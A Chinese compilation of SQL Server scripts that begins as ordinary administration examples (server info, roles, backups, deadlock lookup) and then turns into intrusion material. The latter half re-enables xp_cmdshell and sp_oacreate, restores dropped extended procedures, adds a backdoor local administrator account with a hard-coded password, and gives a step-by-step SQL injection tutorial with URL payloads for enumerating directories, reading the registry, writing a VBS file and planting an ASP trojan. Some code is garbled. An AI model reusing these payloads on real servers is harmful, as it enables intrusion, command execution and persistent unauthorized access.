常用SQL脚本

合集下载
相关主题
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

常用SQL脚本
例28.1 查看数据库所在机器操作系统参数(xp_msver)
查看数据库所在机器操作系统参数的存储过程如下
EXEC master..xp_msver
例28.2 查看当前数据库服务器名(xp_getnetname、HOST_NAME())EXEC master..xp_getnetname
或者:
SELECT HOST_NAME()
例28.3 查看服务器上所有Windows本地组(xp_enumgroups)
查看服务器上所有Windows本地组的存储过程如下
EXEC master..xp_enumgroups
例28.4 查看服务器上安装的所有代码页(xp_enumcodepages)
查看服务器上安装的所有代码页的存储过程如下
EXEC master..xp_enumcodepages
嘿嘿,是不是报没开启错误啊~~没错误略过
先执行下面语句
USE master;
GO
EXEC sp_configure 'show advanced option', '1';
RECONFIGURE
EXEC sp_configure 'Web Assistant Procedures',1
RECONFIGURE
EXEC sp_configure
例28.5 查看指定目录的所有下一级子目录(xp_subdirs)
查看C:\WINDOWS\Drivers目录所有下一级子目录的存储过程如下EXEC [master].[dbo].[xp_subdirs] 'C:\WINDOWS\Drivers'
查看磁盘信息的存储过程如下
EXEC [master].[dbo].[xp_availablemedia]
或者采用下列语句
EXEC master..xp_fixeddrives
请注意:其中,low free为以字节为单位的空闲空间,media type为驱动器类型,软驱为1,硬盘为2,CD-ROM为8。

例28.8 查看硬盘文件信息(xp_dirtree)
查看C盘文件信息的存储过程如下
EXEC master..xp_dirtree 'c:'
查看C盘深度为1的文件信息的存储过程如下
EXEC master..xp_dirtree 'c:',1
查看C盘深度为1、是否为的信息的存储过程如下
EXEC master..xp_dirtree 'c:',1,1
查看“C:\WINDOWS\Web”目录中的文件信息的存储过程如下
EXEC master..xp_dirtree 'C:\WINDOWS\Web'
例28.9 查看服务器提供的OLEDB程序(xp_enum_oledb_providers)
查看服务器提供的OLEDB程序的存储过程如下
EXEC master..xp_enum_oledb_providers
例28.10 查看数据库服务名(@@SERVERNAME)
print 'SQL Server数据库服务名: ' +
convert(varchar(30),@@SERVERNAME)
查看结果如下:
SQL Server数据库服务名: SZX\SQLS2008
例28.11 查看数据库实例名(@@SERVICENAME)
PRINT 'SQL Server数据库实例名: ' +
convert(varchar(30),@@SERVICENAME)
查看结果如下:
SQL Server数据库实例名: MSSQLSERVER
例28.12 查看DBMS数据库的版本(@@version、sp_msgetversion)
查看DBMS版本的命令如下
SELECT @@version SQL_Server版本
或者
EXEC master..sp_msgetversion
例28.13 查看数据库配置参数(sp_configure)
查看数据库配置参数的存储过程如下
EXEC sp_configure
例28.14 查看所有数据库名称、容量等信息(sp_helpdb、sp_databases)sp_helpdb
或sp_databases
查看单个数据库的容量:如sql92_exam_xjgl
sp_helpdb sql92_exam_xjgl
例28.15 查看所有数据库名称及大小(sp_helpdb)
查看所有数据库名称及大小的存储过程如下
EXEC sp_helpdb
例28.16 修改数据库的名称(sp_renamedb)
EXEC sp_renamedb 'old_dbname', 'new_dbname'
例28.17 查看当前数据库的启动时间(sysprocesses)
SELECT convert(varchar(30),login_time,120)启动时间
FROM master..sysprocesses
WHERE spid=1
例28.18 查看当前数据库文件路径等信息(sp_helpfile)
sp_helpfile
例28.19 查看AdventureWorks数据库文件路径(sysfiles)
SELECT ltrim(rtrim(filename))
FROM AdventureWorks..sysfiles
WHERE charindex('MDF',filename)>0
查看结果如下:
C:\Program Files\Microsoft SQL Server\100\Tools\Samples\ AdventureWorks_Data.mdf
例28.20 查看当前数据库文件组名(sp_helpfilegroup)
sp_helpfilegroup
例28.21 查看当前数据库中所有的存储过程(sysobjects)
查看当前数据库中所有存储过程的命令如下
SELECT name as存储过程名称FROM sysobjects WHERE xtype='P'
例28.22 查看数据库里所有的存储过程和函数(sp_stored_procedures)
查看某个数据库里所有存储过程和函数的命令如下
use AdventureWorks
GO
EXEC sp_stored_procedures
例28.23 查看所有数据库日志文件大小(dbcc sqlperf())
查看所有数据库日志文件大小的命令如下
dbcc sqlperf(logspace)
例28.24 查看SQL Server错误日志(xp_enumerrorlogs、xp_readerrorlog)(1)查看SQL Server错误日志信息
EXEC master..xp_enumerrorlogs
(2)查看当前错误日志具体内容
EXEC [master].[dbo].[xp_readerrorlog]
例28.25 查看数据库角色信息(sp_helpRole)
查看数据库角色信息的存储过程如下
EXEC sp_helpRole
例28.26 查看所有数据库用户所属的角色信息(sp_helpsrvrolemember)查看所有数据库用户所属角色信息的存储过程如下
EXEC sp_helpsrvrolemember
例28.27 查看角色成员用户信息(sp_helpRoleMember)
查看角色成员用户信息的存储过程如下
EXEC sp_helpRoleMember 'db_owner'
例28.28 查看当前数据库所有用户信息(sp_helpUser)
查看数据库用户信息的存储过程如下
EXEC sp_helplogins
例28.29 查看本地数据库用户登录信息(sp_helplogins)
查看本地数据库用户登录信息的存储过程如下
EXEC sp_helplogins
例28.30 查看远端数据库用户登录信息(sp_helpremotelogin )
查看远端数据库用户登录信息的存储过程如下
EXEC sp_helpremotelogin
例28.31 查看链接服务器的登录信息(sp_helplinkedsrvlogin)
查看链接服务器信息的存储过程如下
EXEC sp_helplinkedsrvlogin
例28.32 将用户账户添加到数据库中(sp_grantdbaccess)
将guest用户账户添加到数据库中的命令如下:
USE sql92_exam_xjgl
GO
EXEC sp_grantdbaccess guest
例28.33 查看数据库下对象级用户权限(sp_helprotect)
查看数据库下对象级用户权限的存储过程如下
EXEC sp_helprotect
例28.34 获得当前数据库所有用户表的名称(sysobjects)
获得当前数据库所有用户表名称的命令如下
SELECT OBJECT_NAME (id)
FROM sysobjects
WHERE xtype = 'U' AND OBJECTPROPERTY (id, 'IsMSShipped') = 0
例28.36 查询单个用户创建的所有数据库(sysdatabases)
查询sa用户创建的所有数据库的命令如下
SELECT name,dbid,filename
FROM master..sysdatabases D
WHERE sid not in(SELECT sid FROM master..syslogins WHERE name='sa') 或者通过以下命令实现:
SELECT dbid, name AS DB_NAME,filename
FROM master..sysdatabases
WHERE sid <> 0x01
例28.37 查看一个表上相关的对象(sysobjects、syscomments)
查询一个表上相关对象的命令如下
SELECT a.* FROM sysobjects a, syscomments b
WHERE a.id = b.id and b.text like '%teacher%'
例28.38 获取某一个表的所有字段(syscolumns、sp_mshelpcolumns)
获取某一个表的所有字段的命令如下
SELECT name FROM syscolumns WHERE id=object_id('teacher')
或者通过以下存储过程实现
EXEC sp_mshelpcolumns 'teacher'
例28.39 获得指定表上所有的索引名称(sysindexes)
通过系统表sysindexes获得指定表上所有索引名称的命令如下
SELECT name FROM sysindexes
WHERE id = OBJECT_ID ('dept') AND indid > 0
例28.40 查询某一个表的字段和数据类型(information_schema.columns)查询某一个表的字段和数据类型的命令如下
SELECT column_name,data_type
FROM information_schema.columns
WHERE table_name = N'teacher'
例28.41 获取某一个表的基本信息(sp_MShelpcolumns)
获取某一个表的基本信息的存储过程如下
EXEC sp_MShelpcolumns N'teacher'
例28.42 获取某一个表的主键、外键信息(sp_pkeys、sp_fkeys)
获取表teacher的主键信息的存储过程如下
EXEC sp_pkeys N'teacher'
获取表teacher的外键信息的存储过程如下:
EXEC sp_fkeys N'teacher'
例28.43 判断某一个表是否存在某一字段(syscolumns)
通过系统表syscolumn判断某一个表是否存在某一字段的命令如下:
if exists(SELECT 1 FROM syscolumns
WHERE id=object_id(N'teacher') and name=N'tname')
print N'存在'
else
print N'不存在'
例28.44 查看单个存储过程和函数的源代码(sp_helptext)
查看单个存储过程和函数源代码的存储过程如下
USE AdventureWorks
GO
EXEC sp_helptext 'pLogError'
例28.45 查看数据库里用户和进程的信息(sp_who)
(1)查看数据库里用户和进程信息
EXEC sp_who
其中,spid是进程编号,进程号1--50是SQL Server系统内部用的,进程号大于50的是用
户的连接进程。

(2)查看活动用户和进程信息的存储过程如下
EXEC sp_who 'active'
例28.46 清除sleeping进程(Kill__Sleeping_Processes)
Sleeping进程是系统中处于睡眠状态尚未活动的进程,这部分进程可以杀掉。

CREATE PROCEDURE dbo.Kill__Sleeping_Processes @dbname varchar(50)
AS
BEGIN
SET NOCOUNT ON
DECLARE @spid INT,
@cnt INT,
@sql V ARCHAR(255)
SELECT @spid = MIN(spid),@cnt = COUNT(*)
FROM master..sysprocesses
WHERE dbid = DB_ID(@dbname) AND spid != @@SPID AND status = 'sleeping' WHILE @spid IS NOT NULL
BEGIN
SET @sql = 'KILL ' + RTRIM(@spid)
EXEC ( @sql )
SELECT @spid = MIN(spid),@cnt = COUNT(*)
FROM master..sysprocesses
WHERE dbid = DB_ID(@dbname) AND spid != @@SPID AND status = 'sleeping'
END
END
GO
运行改存储过程后杀掉sleeping进程:
Kill__Sleeping_Processes SQLS2008
清除前后可以用EXEC sp_who 'active '进行查看。

例28.47 查看进程正在执行的SQL语句(dbcc inputbuffer ())
查看进程正在执行的SQL语句:dbcc inputbuffer (spid)
其中spid是用sp_who查询出来的spid号,如:56。

查看56号进程正在执行的SQL语句实例如下
dbcc inputbuffer (56)
例28.48 查看数据库锁(sp_lock)
查看SQL Server数据库里锁的情况的存储过程如下
EXEC sp_lock
其中,spid是进程编号,dbid是数据库编号,Objid是数据对象编号。

例28.49 查看数据库死锁的进程(proc_who_lock)
用proc_ find _lock过程查看数据库死锁的进程。

if exists (SELECT *
FROM dbo.sysobjects
WHERE id = object_id(N'[dbo].[proc_find_lock]')
and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[proc_find_lock]
GO
use master
go
create procedure proc_find_lock
as
begin
declare @spid int,@bl int,
@intTransactionCountOnEntry int,
@intRowcount int,
@intCountProperties int,
@intCounter int
create table #temp_lock (
id int identity(1,1),
spid smallint,
bl smallint)
IF @@ERROR<>0 RETURN @@ERROR
insert into #temp_lock(spid,bl)
SELECT 0 ,blocked
FROM (SELECT * FROM sysprocesses WHERE blocked>0 ) a WHERE not exists(SELECT *
FROM (SELECT *
FROM sysprocesses
WHERE blocked>0 ) b
WHERE a.blocked=spid)
union SELECT spid,blocked
FROM sysprocesses
WHERE blocked>0
IF @@ERROR<>0 RETURN @@ERROR
SELECT @intCountProperties = Count(*),@intCounter = 1 --找到临时表的记录数FROM #temp_lock
IF @@ERROR<>0 RETURN @@ERROR
if @intCountProperties=0
SELECT '没有阻塞和死锁信息' as 提示
while @intCounter <= @intCountProperties
begin
SELECT @spid = spid,@bl = bl
FROM #temp_lock WHERE Id = @intCounter
begin
if @spid =0
SELECT '引起数据库死锁的进程号是: '+ CAST(@bl AS V ARCHAR(10)) + ',其执行的SQL语句为:'
else
SELECT '进程号SPID:'+ CAST(@spid AS V ARCHAR(10))
+ '被' + '进程号SPID:'+ CAST(@bl AS V ARCHAR(10))
+'阻塞,其当前进程执行的SQL语句为:'
DBCC INPUTBUFFER (@bl )
end
set @intCounter = @intCounter + 1
end
drop table #temp_lock
return 0
end
运行过程proc_find_lock
proc_find_lock
例28.50 备份当前数据库(backup database)
(1)完全备份
declare @a sysname,@s nvarchar(4000)
SELECT @a=db_name(),@s='e:\sql_db_bak_full' backup database @a to disk=@s WITH format
已为数据库'sql92_exam_xjgl',文件'sql92_example'(位于文件1上)处理了240页。

已为数据库'sql92_exam_xjgl',文件'sql92_example_log'(位于文件1上)处理了1页。

BACKUP DATABASE成功处理了241页,花费0.101秒(19.547 MB/秒)。

(2)差异备份
declare @a sysname,@s nvarchar(4000)
SELECT @a=db_name(),@s='e:\sql_db_bak_diff' backup database @a to disk=@s WITH DIFFERENTIAL,format
已为数据库'sql92_exam_xjgl',文件'sql92_example' (位于文件1上)处理了40页。

已为数据库'sql92_exam_xjgl',文件'sql92_example_log' (位于文件1上)处理了1页。

BACKUP DATABASE WITH DIFFERENTIAL成功处理了41页,花费0.095秒(3.530 MB/秒)。

差异备份要在至少有一次完全备份成功之后才能实施,否则出错。

例28.51 从磁带中恢复完整的数据库备份
从磁带中恢复sql92_exam_xjgl的完整数据库备份。

USE master
GO
RESTORE DATABASE sql92_exam_xjgl
FROM TAPE = '\\.\Tape0'
GO
例28.52 在脱机状态下进行数据库备份和恢复
在脱机状态下对sql92_exam_xjgl数据库进行备份和恢复。

步骤如下:
卸载需要进行备份恢复的sql92_exam_xjgl数据库。

在master数据库下新建下列查询分析语句:
Sp_detach_db 'sql92_exam_xjgl'
运行结果为:命令已成功完成。

复制sql92_exam_xjgl 库的sql92_example.mdf文件和sql92_example_log.ldf文件到E:\下。

启动数据库服务器进行恢复。

sp_attach_db 'sql92_exam_xjgl',
'E:\sql92_example.mdf', 'E:\sql92_example_log.ldf'
运行结果为:命令已成功完成。

当恢复单个mdf文件采用下列语句:
sp_attach_single_file_db 'sql92_exam_xjgl','E:\sql92_example.mdf''
恢复xp_cmdshell SQL Server阻止了对组件'xp_cmdshell' 的过程'sys.xp_cmdshell' 启用
SQL Server 阻止了对组件'xp_cmdshell' 的过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。

系统管理员可以通过使用sp_configure 启用'xp_cmdshell'。

有关启用'xp_cmdshell' 的详细信息,请参阅SQL Server 联机丛书中的"外围应用配置器"。

SQL2005 在默认的设置中是删除了XP_CMDSHELL的,因此也在注射过程中产生了点困难。

后来经过查看MSSQL2005的手册才知道情况原来如此:
用下面一句话就可以了解决了。

;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
关闭一样.只是将上面的后面的那个"1"改成"0"就可以了.
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;--
如果cmdshell还不行的话,就再运行:
;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
或者
;sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
来恢复cmdshell。

1433SQL入侵恢复xp_cmdshell方法总结
sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
SQL2005开启'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
SQL2005开启'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
突破SA的各种困难
常见情况恢复执行xp_cmdshell
1 未能找到存储过程'master..xpcmdshell'.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
2 无法装载DLL xpsql70.dll 或该DLL所引用的某一DLL。

原因126(找不到指定模块。

)恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5键命令执行完毕
3 无法在库xpweb70.dll 中找到函数xp_cmdshell。

原因: 127(找不到指定的程序。

)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5键命令执行完毕
四.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'
xp或2003server系统:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'
--------------
xp_cmdshell新的恢复办法
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
这样可以直接恢复,不用去管sp_addextendedproc是不是存在
-----------------------------
删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc 'xp_cmdshell'
恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
开启cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
恢复xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回结果为1就ok
否则上传xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
堵上cmdshell的sql语句
sp_dropextendedproc "xp_cmdshell
----------------
删除sql危险存储:
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc
/*不狐附上恢复扩展存储过程的办法
先恢复sp_addextendedproc,语句如下:
SQL代码:
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
再恢复以上所有扩展存储过程
SQL代码:
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
SQL Server 阻止了对组件'xp_cmdshell' 的过程'sys.xp_cmdshell' 的访问,因为此组件已作
为此服务器安全配置的一部分而被关闭。

系统管理员可以通过使用sp_configure 启用'xp_cmdshell'。

有关启用'xp_cmdshell' 的详细信息,请参阅SQL Server 联机丛书中的"外围应用配置器"。

经常扫SQL弱口令肉鸡的朋友应该遇见过这样的问题!
接下来我们用SQL语句搞定他
分析器执行的语句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE
SQL注入取得网站路径大全
2009年01月24日星期六下午01:33
如果网站只开了80端口,你会发现下面的方法是比较有用的
其中用的方法几乎都不是我发现的,文总包括一些注入时的个人经验和技巧
方法可以说有4种(现在已知的)
第一种方法:
这个是<<怪异的SQL注入>>中介绍的方法
利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充)
建立表
语句:/down/list.asp?id=1;create table dirs(paths varchar(1000))--
返回:正常的信息!说明建表成功!继续!
(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用)
语句:/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:\' --
返回:正常信息。

说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。

(好像只有暴这种方法了)
语句:/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误80040e07
将varchar 值'@Inetpub'转换为数据类型为int 的列时发生语法错误。

再依次爆出表中的目录名称!
语句:http:///down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( '@Inetpub'))--
返回:Microsoft OLE DB Provider for SQL Server 错误80040e07
将varchar 值'test'转换为数据类型为int 的列时发生语法错误。

再依次爆出表中的目录名称!
好我们继续
语句:http:///down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( '@Inetpub','test'))--
返回:Microsoft OLE DB Provider for SQL Server 错误80040e07
将varchar 值'haha'转换为数据类型为int 的列时发生语法错误。

再依次爆出表中的目录名称!
好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧,
一点技巧:
有时候你会发现当输入类似
/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
时不是显示出错,而是网页显示正常
晕了吧,别紧张哈
看看0<>(select top 1 paths from dirs) 说明返回是一个数字,
哈哈,测试一下看看是多少吧
100>(select top 1 paths from dirs)
返回正常
哈哈,用这种大于小于的方法很快就能猜出了
好我们继续
比如当出现
59=(select top 1 paths from dirs)
返回正常,
ok,说明名字是59
输入如下
http:///down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( '59'))--
记得带上引号哟
下面的方法就和原来的一样的了
还有一个问题就是
有时候用上面的方法输入59时,发现下一次的文件夹还是59
这个是怎么回事情呢?
呵呵,不知道你有没有注意过059和59是一样的?
就是这个原因了,哈哈,
http:///down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( '059'))--
发现显示下一个文件夹名字了,ok
优缺点分析:
优点就是所有的sqlserver用户都可以使用,因为xp_dirtree适用权限PUBLIC,
缺点是显示的是目录下的所有文件夹的名字,而且排列好像是没有什么顺序的,总之在好几千好几万个文件夹里找你想要的文件夹是痛苦的.
而且你知道了有那个文件夹也不能保证在根目录下,实在是痛苦的一件事情呀,很多时候是靠运气和耐力.
祝你成功
方法二:
利用xp_cmdshell
哈哈,这个大家一定很熟悉了吧,我就简单说一下
建立表
语句:/down/list.asp?id=1;create table dirs(paths varchar(1000))--
返回:正常的信息!说明建表成功!继续!
(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用
语句:/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell 'dir c:\ /B/D' --
返回:正常信息。

说明写入C盘的所有目录成功了!这里用了dir c:\ /B/D,哈哈,不知道/B/D 什么作用就试验试验看
语句:/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误80040e07
将varchar 值'@Inetpub'转换为数据类型为int 的列时发生语法错误。

再依次爆出表中的目录名称!
语句:http:///down/list.asp?id=1 and 0<>(select top 1 paths from
dirs where paths not in( '@Inetpub'))--
返回:Microsoft OLE DB Provider for SQL Server 错误80040e07
将varchar 值'test'转换为数据类型为int 的列时发生语法错误。

再依次爆出表中的目录名称!
方法同上,就不说了
有时候我们也可以用下面的两个扩展来干些事情
1)我们可以利用xp_availablemedia来获得当前所有驱动器,并存入dirs表中:
5 ;insert dirs exec master.dbo.xp_availablemedia;--
我们可以通过查询temp的内容来获得驱动器列表及相关信息
(2)我们可以利用xp_subdirs获得子目录列表,并存入dirs表中:
5 ;insert into dirs exec master.dbo.xp_subdirs 'c:\' ;--
优缺点分析:
很明显了,这样就不会出现xp_dirtree那种所有目录都放在一起的情况了,只会显示一级目录,找起来方便多了.
缺点也很明显,只有sa有这个权限,也有可能管理员删除了这个扩展(毕竟太强大了).
方法三:
这种方法很好
下面这个是原文
想到了使用adsutil.vbs程序,我是这样执行的
a';exec master..xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/1/root>a.txt';--
是不是很长啦通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)
导入到a.txt中
对于a.txt的实际位置默认当然是c:\winnt\system32,其实这都不是问题,不过遇到管理员把adsutil.vbs
删了或是放到别
的地方我们就没办法了(不可能自已用echo 命令写一个吧)
第二步:用echo命令写下面的代码到c:\中,很多吗也不算吧
.....xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject")>c:\read.vbs';-- .....xp_cmdshell 'echo Set WshShell = Wscript.createObject("Wscript.Shell")>>c:\read.vbs'
;--
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.createObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa & "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa &"\dd.asp",2,true)
fil1.writeline ""
---------------cut here-------------------------------------
第三步:当然就是执行read.vbs,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径
然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯
执行http://x.x.x.x/dd.asp
返回:\xxx
哈哈,的确是好方法,
不过原文好像有点问题
就是
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")
set fil1 =fso1.opentextfile(pa%2B"\dd.asp",2,true)
两句提交时会出错
于是我们想到了加号,和&的功能相同
还有就是写点什么东西到dd.asp呢?写入pa,哈哈
哈哈,改成了
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.createObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa "\dd.asp",2,true)
fil1.writeline pa
---------------cut here--------------------------------------
因为用浏览器提交时号被转换成了空格,所以在提交的时候还应该把
变成%2B,好了,应该可以了,如下
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.createObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa %2B "\system32\aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")") 3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa %2B "\dd.asp",2,true)
fil1.writeline pa
---------------cut here--------------------------------------
如果发现1没有的话,我们可以该成2,3,4...........
a';exec master..xp_cmdshell 'cmd /c cscript c:\inetpub\adminscrips\adsutil.vbs enum w3svc/2/root>a.txt';--
但是这种方法只能在windows2000下使用,因为2003下新建的网站所在地址不是按照1234来排列的,好像是随机生成的,个人比较过几个2003下的
地址,没有发现什么规律.
优缺点分析:
同上xp_cmdshell不是每一个用户都可以用的!还有一个问题是adsutil文件不一定存在,或者不一定在那个路径上,当然如果你原意的话你可以用
echo写一个(哈哈,老多老多行的哟),另外的一个问题是,如果主机上有很多站点怎么办?我遇到过一个有九个站点的主机,胆识只有第8个是有用
的,晕了吧,很难有人有嗯那个耐性会坚持到那么多的,早就崩溃了或许.还有就是不能在2003下用!
不过说实话,这个方法的确是一个好方法
方法四:
这个方法是要饭的提到的,通过xp_regread等从注册表里读出路径
以下推荐,获取网页路径(通过存储过程达到对注册表的读取):
利用内置存储过程xp_regread(读取注册表键值,权限public):
语句:http:///list.asp?classid=1;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test
varchar(20) exec master..xp_regread @rootkey= HKEY_LOCAL_MACHINE , @key=
SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\ , @value_name= / , values=@test OUTPUT insert into paths
(path) values(@test)
IIS的默认路径的在注册表中HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\
利用爆字段将数据库的值读出来:
语句:http:///list.asp?classid=1 and 0<>(select top 1 paths from newtable)--返回:
Microsoft OLE DB Provider for
ODBC Drivers 错误80040e07 [Microsoft][ODBC SQL Server Driver][SQL Server]将varchar 值E:\www,,201 转换为数据类型为int 的
列时发生语法错误。

这说明网页目录在E:\www,接下来也可以利用FSO直接写入ASP木马
